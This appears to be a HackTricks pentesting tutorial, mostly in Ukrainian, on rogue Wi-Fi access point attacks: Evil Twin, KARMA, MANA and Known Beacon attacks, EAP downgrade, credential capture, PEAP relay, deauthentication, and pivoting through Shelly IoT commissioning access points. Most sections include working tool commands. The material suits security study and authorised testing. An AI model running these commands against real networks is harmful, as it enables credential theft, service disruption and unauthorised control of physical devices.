- Client Roaming and Connection Manipulation: Протокол 802.11 дозволяє пристроям роумити між access points в межах одного ESS. Атакуючі можуть скористатися цим, змусивши пристрій відключитися від свого поточного base station і підключитися до rogue access point. Це можна досягти, пропонуючи сильніший сигнал або порушуючи з’єднання з легітимним access point за допомогою deauthentication packets або jamming.
- Challenges in Execution: Успішне проведення атаки Evil Twin в середовищі з кількома добре розміщеними access points може бути складним. Деаутентифікація одного легітимного access point часто призводить до підключення пристрою до іншого легітимного access point, якщо атакуючий не може деаутентифікувати всі сусідні access points або стратегічно розмістити rogue access point.
Ви можете створити дуже базовий Open Evil Twin (без можливості маршрутизувати трафік в Internet), виконавши:
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
Ви також можете створити Evil Twin за допомогою eaphammer (зверніть увагу, що для створення evil twins за допомогою eaphammer інтерфейс не повинен бути в режимі monitor):
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
Або використовуючи Airgeddon: Options: 5,6,7,8,9 (inside Evil Twin attack menu).
.png)
Зверніть увагу, що за замовчуванням, якщо ESSID у PNL збережено як захищений WPA, пристрій не буде автоматично підключатися до Open evil Twin. Ви можете спробувати DoS реальний AP і сподіватися, що користувач вручну підключиться до вашого Open evil twin, або ви можете DoS реальний AP та використати WPA Evil Twin, щоб захопити handshake (за допомогою цього методу ви не зможете дозволити жертві підключитися до вас, оскільки ви не знаєте PSK, але можете захопити handshake і спробувати зламати його).
Деякі OS та AV попереджатимуть користувача, що підключення до відкритої мережі є небезпечним…
WPA/WPA2 Evil Twin
Ви можете створити Evil Twin using WPA/2 і якщо пристрої налаштовані підключатися до того SSID з WPA/2, вони спробують підключитися. Втім, щоб завершити 4-way-handshake вам також потрібно знати пароль, який клієнт збирається використовувати. Якщо ви не знаєте його, підключення не буде завершено.
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
Enterprise Evil Twin
Щоб зрозуміти ці атаки, рекомендую спочатку прочитати коротке WPA Enterprise пояснення.
Використання hostapd-wpe
hostapd-wpe потребує файлу конфігурації для роботи. Щоб автоматизувати генерацію цих конфігурацій, можна використати https://github.com/WJDigby/apd_launchpad (завантажте python-файл всередині /etc/hostapd-wpe).
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s
У конфігураційному файлі ви можете вибрати багато різних параметрів, таких як ssid, channel, user files, cret/key, dh parameters, wpa version та auth…
Using hostapd-wpe with EAP-TLS to allow any certificate to login.
Використання EAPHammer
# Generate Certificates
./eaphammer --cert-wizard
# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
За замовчуванням EAPHammer використовує ці методи аутентифікації (зверніть увагу, що GTC — перший, який намагається отримати plaintext-паролі, після чого застосовуються більш стійкі методи аутентифікації):
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
Це методологія за замовчуванням, щоб уникнути тривалого часу підключення. Однак ви також можете вказати серверу методи автентифікації від найслабших до найсильніших:
--negotiate weakest
Or you could also use:
--negotiate gtc-downgradeдля використання високоефективної реалізації GTC downgrade (plaintext passwords)--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAPщоб вручну вказати пропоновані методи (якщо запропонувати ті ж самі auth methods у тому ж порядку, що й організація, виявлення атаки буде набагато складнішим).- Find more info in the wiki
When clients skip RADIUS certificate validation (PEAP/TTLS)
- Якщо пристрої налаштовано з “do not validate certificate”, клонований AP + rogue RADIUS (
eaphammer --cert-wizard --creds --auth wpa-eap) зібране NetNTLMv2 (PEAP-MSCHAPv2) або cleartext creds (PEAP-GTC).bettercapdeauth (wifi.deauth <BSSID>) одночасно виявляє приховані SSID під час probes і змушує повторні підключення, якщо тільки PMF/802.11w не блокує підроблені deauth. - Cracked NetNTLMv2 дає повторно використовувані Wi‑Fi/AD creds; GTC дає негайний plaintext.
Relaying PEAP-MSCHAPv2 instead of cracking (wpa_sycophant + hostapd-mana)
- Для машинних облікових записів з незламними випадковими паролями зловмисно використовуйте MSCHAPv2 relay: запустіть
hostapd-manaяк Evil Twin, переадресовуючи MSCHAPv2 обмін доwpa_sycophant, який одночасно підключається до легітимної AP. Успішне relay надає автентифікований доступ до Wi‑Fi без відновлення пароля. - Використовуйте збірки, що підтримують цільовий рівень безпеки (WPA3/PMF вимагає актуальних hostapd/wpa_supplicant); PMF запобігає примусовим deauth, тож чекайте на добровільні підключення клієнтів.
Using Airgeddon
Airgeddon може використовувати раніше згенеровані сертифікати для пропозиції EAP-автентифікації до WPA/WPA2-Enterprise мереж. Фейкова мережа понизить протокол з’єднання до EAP-MD5, тож вона зможе capture the user and the MD5 of the password. Пізніше атакуючий може спробувати crack the password.Airggedon пропонує можливість continuous Evil Twin attack (noisy) або only create the Evil Attack until someone connects (smooth).
.png)
Debugging PEAP and EAP-TTLS TLS tunnels in Evil Twins attacks
This method was tested in an PEAP connection but as I’m decrypting an arbitrary TLS tunnel this should also works with EAP-TTLS
Inside the configuration of hostapd-wpe comment the line that contains dh_file (from dh_file=/etc/hostapd-wpe/certs/dh to #dh_file=/etc/hostapd-wpe/certs/dh)
This will make hostapd-wpe to exchange keys using RSA instead of DH, so you will be able to decrypt the traffic later knowing the servers private key.
Now start the Evil Twin using hostapd-wpe with that modified configuration as usual. Also, start wireshark in the interface which is performing the Evil Twin attack.
Now or later (when you have already captured some authentication intents) you can add the private RSA key to wireshark in: Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...
Add a new entry and fill the form with this values: IP address = any – Port = 0 – Protocol = data – Key File (select your key file, to avoid problems select a key file without being password protected).
.png)
And look at the new “Decrypted TLS” tab:
.png)
KARMA, MANA, Loud MANA and Known beacons attack
ESSID and MAC black/whitelists
Різні типи списків фільтрації Media Access Control (MFACLs) та їхні відповідні режими і вплив на поведінку зловмисної Access Point (AP):
- MAC-based Whitelist:
- Зловмисна AP відповідатиме лише на probe-запити від пристроїв, вказаних у whitelist, залишаючись невидимою для всіх інших, не включених до списку.
- MAC-based Blacklist:
- Зловмисна AP ігноруватиме probe-запити від пристроїв у blacklist, фактично роблячи зловмисну AP невидимою для цих конкретних пристроїв.
- SSID-based Whitelist:
- Зловмисна AP відповідатиме на probe-запити лише для конкретних ESSID, що вказані у списку, роблячи її невидимою для пристроїв, чиї Preferred Network Lists (PNLs) не містять цих ESSID.
- SSID-based Blacklist:
- Зловмисна AP не відповідатиме на probe-запити для конкретних ESSID, що в чорному списку, роблячи її невидимою для пристроїв, які шукають саме ці мережі.
# example EAPHammer MFACL file, wildcards can be used
09:6a:06:c8:36:af
37:ab:46:7a:9a:7c
c7:36:8c:b2:*:*
[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
# example ESSID-based MFACL file
name1
name2
name3
[--ssid-whitelist /path/to/mac/whitelist/file.txt]
[--ssid-blacklist /path/to/mac/blacklist/file.txt]
KARMA
Цей метод дозволяє attacker створити зловмисну access point (AP), яка відповідає на всі probe requests від пристроїв, що намагаються підключитися до мереж. Ця техніка обманює пристрої, змушуючи їх підключатися до an attacker’s AP, імітуючи мережі, які шукають пристрої. Коли пристрій надсилає запит на підключення до цієї rogue AP, з’єднання завершується, через що пристрій помилково підключається до мережі атакуючого.
MANA
Потім пристрої почали ігнорувати ненадійні відповіді мереж, що знизило ефективність початкової karma attack. Однак була представлена нова методика, відома як MANA attack, запропонована Ian de Villiers і Dominic White. Цей метод передбачає, що rogue AP збирає Preferred Network Lists (PNL) з пристроїв, відповідаючи на їх broadcast probe requests назвами мереж (SSIDs), які раніше були відомі пристроям. Ця складна атака обходить захисти проти оригінальної karma attack, експлуатуючи спосіб, у який пристрої запам’ятовують і віддають пріоритет відомим мережам.
MANA attack працює, моніторячи як directed, так і broadcast probe requests від пристроїв. Для directed запитів він записує MAC address пристрою і запитувану назву мережі, додаючи цю інформацію до списку. Коли надходить broadcast request, AP відповідає інформацією, що збігається з будь-якою мережею зі списку пристрою, підманюючи пристрій підключитися до rogue AP.
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
Loud MANA
А Loud MANA attack — просунута стратегія на випадки, коли пристрої не використовують directed probing або коли їх Preferred Network Lists (PNL) невідомі атакуючому. Вона ґрунтується на принципі, що пристрої в одній зоні ймовірно мають у своїх PNL деякі спільні імена мереж. Замість вибіркових відповідей ця атака транслює probe responses для кожного імені мережі (ESSID), знайденого в комбінованих PNLs усіх спостережуваних пристроїв. Такий широкий підхід підвищує ймовірність того, що пристрій впізнає знайому мережу і спробує підключитися до rogue Access Point (AP).
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
Known Beacon attack
Коли Loud MANA attack може бути недостатньою, Known Beacon attack пропонує інший підхід. Цей метод brute-forces процес підключення, імітуючи AP, який відповідає на будь-яку назву мережі, перебираючи список потенційних ESSIDs, отриманих з wordlist. Це імітує наявність численних мереж у надії співпасти з ESSID у PNL жертви, що спонукає спробу підключення до сфабрикованого AP. Атаку можна посилити, поєднавши її з опцією --loud для більш агресивної спроби заманити пристрої.
Eaphammer реалізував цю атаку як MANA attack, де всі ESSIDs зі списку транслюються (ви також можете поєднати це з --loud, щоб створити Loud MANA + Known beacons attack):
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
Known Beacon Burst attack
Атака Known Beacon Burst attack передбачає швидку послідовну трансляцію beacon frames для кожного ESSID, вказаного у файлі. Це створює щільне середовище підробних мереж, що значно підвищує ймовірність підключення пристроїв до rogue AP, особливо в поєднанні з MANA attack. Ця техніка використовує швидкість і обсяг, щоб перевантажити механізми вибору мереж у пристроїв.
# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
--bssid de:ad:be:ef:13:37 \
--known-essids-file known-s.txt \
--dst-addr 11:22:33:11:22:33 \
--burst-count 5
Wi-Fi Direct
Wi-Fi Direct — це протокол, що дозволяє пристроям напряму з’єднуватися один з одним по Wi‑Fi без потреби у традиційній бездротовій точці доступу. Ця можливість інтегрована в різні пристрої Internet of Things (IoT), такі як принтери та телевізори, і полегшує пряму комунікацію пристрій‑до‑пристрою. Важливою особливістю Wi‑Fi Direct є те, що один пристрій бере на себе роль точки доступу, відомої як group owner, для керування підключенням.
Безпеку підключень Wi‑Fi Direct забезпечує Wi‑Fi Protected Setup (WPS), який підтримує кілька методів для захищеного спарингу, зокрема:
- Push-Button Configuration (PBC)
- PIN entry
- Near-Field Communication (NFC)
Ці методи, особливо PIN entry, вразливі до тих самих уразливостей, що й WPS у традиційних Wi‑Fi мережах, що робить їх мішенями для подібних векторів атаки.
EvilDirect Hijacking
EvilDirect Hijacking — це атака, специфічна для Wi‑Fi Direct. Вона відображає концепцію Evil Twin, але спрямована на Wi‑Fi Direct підключення. У цьому сценарії атакуючий видає себе за легітимного group owner з метою обдурити пристрої, щоб ті підключилися до шкідливої сутності. Цей метод можна реалізувати за допомогою інструментів на кшталт airbase-ng, вказавши channel, ESSID та MAC address імітованого пристрою:
Commissioning AP persistence & dual-homed IoT pivoting (Shelly Gen4 case)
Деякі споживчі IoT реле/контролери залишають commissioning open AP активним після приєднання до IoT WLAN (наприклад, Shelly Gen4 SSIDs, що починаються з Shelly). Пристрій залишається dual-homed: інтерфейс AP з дефолтною IP 192.168.33.1 плюс клієнтський інтерфейс у внутрішній WLAN.
Abuse flow (Wi‑Fi proximity required):
- Приєднатися до provisioning AP, отримати DHCP lease і переглядати AP-side HTTP API.
- Активувати реле через неавтентифіковані endpoints, наприклад
http://192.168.33.1/relay/0?turn=on(можливий вплив на двері/шлагбаум/гараж). Endpoint-и для завантаження firmware можуть додати персистентність. - Використовувати як pivot: Shelly scripting може відправляти HTTP з внутрішнього інтерфейсу до інших хостів LAN. Приклад pivot до іншого Shelly за адресою
10.0.98.221:
Shelly.addEventHandler(function (event) {
if (event.component === "switch:0" && event.info.state) {
Shelly.call("HTTP.GET", { url: "http://10.0.98.221/light/0?turn=on" });
}
});
Замініть URL на будь‑яку досяжну внутрішню HTTP-цель; dual-homing уникає додаткової маршрутизації/NAT.
4. На масштабі: запитуйте vendor SSIDs на wigle.net (наприклад, Shelly), щоб знаходити commissioning AP для експлуатації на місці.
Для персистентності залиште commissioning AP увімкненим.
References
- https://www.pentestpartners.com/security-blog/shelly-iot-door-controller-config-fail-leaving-your-garage-home-and-security-exposed/
- https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee
- https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9
- https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38
- https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d
- https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf
- http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/
- https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/
- https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d
- https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)
- https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/
- The vulnerability that killed FreeWifi_Secure
- RFC 4186 – EAP-SIM Authentication
- 3GPP TS 33.402 – 3GPP system architecture evolution (SAE); Security aspects of non-3GPP accesses
- Wireless-(in)Fidelity: Pentesting Wi-Fi in 2025 (Synacktiv)
- PEAP relay attacks with wpa_sycophant (SensePost)
TODO: Перегляньте https://github.com/wifiphisher/wifiphisher (вхід через Facebook та імітація WPA у captive portals)
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


